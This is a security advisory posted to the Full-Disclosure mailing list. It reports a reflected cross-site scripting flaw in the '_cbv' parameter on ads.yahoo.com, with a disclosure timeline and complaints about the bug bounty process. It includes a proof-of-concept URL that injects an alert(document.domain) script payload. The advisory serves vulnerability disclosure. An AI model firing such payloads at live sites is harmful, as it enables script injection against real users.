Yahoo Bug Bounty Program Vulnerability #1 XSS on ads.yahoo.com

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

In Nov ?13 I reported a Cross-site Scripting vulnerability to the Yahoo
Bug Bounty Program. As for my other reports, I?ve got no response or
feedback,
so I wrote a message to them via email this time ... and so on ... blah
blah :)
 
To cut a long story short, for all my reports the communication with
Yahoo was really bad and of course: No bounty!

Advisory:                     Yahoo Bug Bounty Program Vulnerability #1
XSS on ads.yahoo.com
Advisory ID:                SSCHADV2013-YahooBB-001
Author:                        Stefan Schurtz
Affected Software:     Successfully tested on ads.yahoo.com
Vendor URL:                http://yahoo.com/
Vendor Status:           Seems to be fixed
Bounty:                       nothing
 
==========================
Vulnerability Description
==========================
 
The '_cbv'-Paramter on "http://ads.yahoo.com" is prone to a Cross-site
Scripting vulnerability
 
==========================
PoC-Exploit
==========================
 
http://ads.yahoo.com/st?ad_type=iframe&ad_size=300x250&site=1181425&section_code=112260532&
cb=1385497647.226089&publisher_blob=${RS}|gmGLFTE4OC4mbYnzUpH6dwEQOTMuMlKVBC__yxq4
|2143911627|LREC2|1385497647.226089&yud=smpv%3d3%26ed%3dzxE1dF31xQzMnXQidpJpWNtP
OVygJhcHBknzVCnpTraLTXtt8jO7OEVYpCbxEhJcwmU2x.ekTqffsDUVYgceDTs.NijijL.tGPKwsdRUsLvxftzYGe
.0VUghSSHioqjLjQJ7KaidIocpC1oj2SKC4lg_EhLiMsmgXiq6wbNVL_VzG1fHxP77ptF04VC7jL7lL1vr0iRs.r6
8cRSLiFUFzH_pvnaxUy8-&_msd=1&_xcf=1&_exv=RDnhGI4wnN7uv.jS65VPBVAFmZBbevIBHZGnRIl5vxDV&_msig=10sorm5kd&rmxbkn=0&_cbv=132025816&81c91"-alert(document.domain)-"1580bfdcb31=1

==========================
Disclosure Timeline
==========================

28-Nov-2013 - vendor informed by contact form (Yahoo Bug Bounty Program)
31-Dec-2013 - next message to the Yahoo Securiy Contact
04-Jan-2014 - feedback from vendor
04-Jan-2014 - vendor informed again about the three vulnerabilities
06-Jan-2014 - feedback from vendor
15-Jan-2014 - contact with Jeff Zingler (Threat Response @ Yahoo)
16-Jan-2013 - contact with Jeff Zingler (Threat Response @ Yahoo) //
last contact

==========================
Credits
==========================

Vulnerability found and advisory written by Stefan Schurtz.

==========================
References
==========================

http://yahoo.com/
http://www.darksecurity.de/advisories/BugBounty/yahoo/SSCHADV2013-YahooBB-001.txt
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.12 (GNU/Linux)

iEYEARECAAYFAlMa754ACgkQg3svV2LcbMCOdwCeIA7oMkSnPBbwwWTDlQRV4igR
YcsAnim2G2fNSu42X8E2PXfSM2TNFqd9
=G3sf
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v1.4.12 (GNU/Linux)

mQGiBEi5oD4RBAD+03KasYzveqwRhr1VnOyyYwuZTa+JzyyrxHNoz+5sxVQ6fNYK
XmEW4b8H/eJnSiOnSxkJqCQG00DOV0AODn57cBsTb4Ow+NVQ+ARa3TBdPNobbylt
8NU55PRXPVl160gd+LnOzQE2t3l3aNmOPVkIzN87ci1ke8vfzyf3W9bJrwCgmsug
2+Cl+7KgQ/5Nqm2Ej+Z+7GcD/0K2qtF9T61ZaR0g0uz6JQOOvBGFvUCkRMXNuqhU
KEzxwR1tt1BtjEATi55KLuNsF8ZIe9FjySQtnX5bo+91lvH4wPWRI75tMLDrWm+o
yLqSCAo3EMMM2RAG2XYEC/eD/Ri7LqUbdxN7PQssRJTh78pFJ1xJMms5vF/xlA9J
FhlwA/94DXbeqFr0PkmHbpyRbN6VSTiA/ROb7jvn5NrVtq/LqV90bSZCr0HnbEnb
LLecogq6b4Vz5URfIScF7YW4oPmnK/VjqzeZT4QgzH4pe9MnKbMETaS0saNs+fhe
Gdom+jJUjXimSpKDoJYijWKsj1FPWCUTU+em7O4J/cyXn+4KSrQrc3NjaHVydHpA
dC1vbmxpbmUuZGUgPHNzY2h1cnR6QHQtb25saW5lLmRlPohgBBMRAgAgAhsjBgsJ
CAcDAgQVAggDBBYCAwECHgECF4AFAlI1b60ACgkQg3svV2LcbMCGRgCeNGNurYDP
A/J22GMJ1IzDt7w4Od4An06QcRXfyH021UVfhmJGAukAEg1giEYEExECAAYFAkkZ
AegACgkQboWE2jzBnWUd2ACgqcfpG9q6Qth7j+FNg7gK6YrzpkAAn1qTYyLV0qJU
2WQIG+FGv0KH8f91uQINBEi5oD4QCADLDYUx5h9U9mK+fhoPXaJ9kZOufvD/jmkY
7Gcnv+BY6o5+TQrPdwt9cRrDGb9N+3YL7WEsY0gNesiERZz9ZGQONoOYae427Z8f
37y/ueAEP7HGOCIqbhlvY7pt/ceomb4UkESK6x7FzkicnyECQS1SNdcEG88re35B
rtFXOrAYHqXszJVAjaquKhhZyFI2aIZoGEsKBP7xI9dTwUzD5N89FpVF3CXYlmkJ
VpgZGNa/FhWiuw+737sxoacElj5WcT5kWfnr8drXhuZgYhdq+fYvRTLADDZCyBAI
MaQNRgaME+rjM8TC4+4O9HV4ruCatkPxQYmrtYew2pKZJfsrjrvfAAQNCACEGohg
dZ7lSRC/Fe30ga77kyPGZVtcDdvLSuCvtQ2wmfmep0Q6ARHhvVBC6CC08HnkYaaK
fmAWKAVMDBTwL6oLu/s1ighYW/gu53TFpXVp8BOFShwa8h20mbRdN2k9SJpAzIdt
fqZI6L8ImztAV44sO+WKdsaJOisA6nc0vKBohON/pDiwF2xJCTvOh1ihMEDZPZE+
FHJ6zIuQ2kNsrrTh3Wr7QW3mD8qwMv68H6PuLaiJMPmvb62ydZqK2w1Djv8fwVUh
wZ7r+Rz++IVG3qr8EYjub7MEMC8yCslNnmOWSS9B3ooCyuTYolYjoFosl9+oiFTk
mSYgRRo1zb8gZd1ziE8EGBECAA8FAki5oD4CGwwFCQlmAYAACgkQg3svV2LcbMAA
rACeNr7lQSP2hZKwYvIL31rnWnt4PzIAoIdS0xbqBd1ql5RLIjYaz6r+kE5Z
=K6kp
-----END PGP PUBLIC KEY BLOCK-----